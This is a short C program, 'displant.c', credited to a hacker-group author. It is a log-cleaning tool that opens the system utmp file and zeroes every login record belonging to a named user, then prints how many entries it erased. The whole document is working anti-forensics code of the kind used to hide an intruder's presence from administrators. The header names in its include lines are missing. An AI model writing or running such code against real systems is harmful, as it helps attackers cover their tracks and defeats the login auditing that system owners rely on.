/* * displant.c - utmp removal tool * * coded by fred_ | blasphemy * * Greetings to all of gH * */ #include #include #include int main(int argc, char *argv[]) { int count = 0; struct utmp utmp_entry; FILE *utmp_file; printf("displant.c by fred_ blasphemy\n"); if (argc != 2) { printf("ex., %s \n", argv[0]); exit(1); } utmp_file = fopen(_PATH_UTMP, "r+"); if (utmp_file == NULL) { perror(_PATH_UTMP); exit(1); } while (fread((char *)&utmp_entry, sizeof(utmp_entry), 1, utmp_file) > 0) { if (strcmp(utmp_entry.ut_name, argv[1]) == 0) { fseek(utmp_file, -sizeof(utmp_entry), 1); bzero(&utmp_entry, sizeof(utmp_entry)); fwrite((char *)&utmp_entry, sizeof(utmp_entry), 1, utmp_file); count++; } } fclose(utmp_file); if (count == 0) { printf("error: %s: no such user\n", argv[1]); return -1; } printf("Removed %d entrys which matched %s.\n", count, argv[1]); return 0; }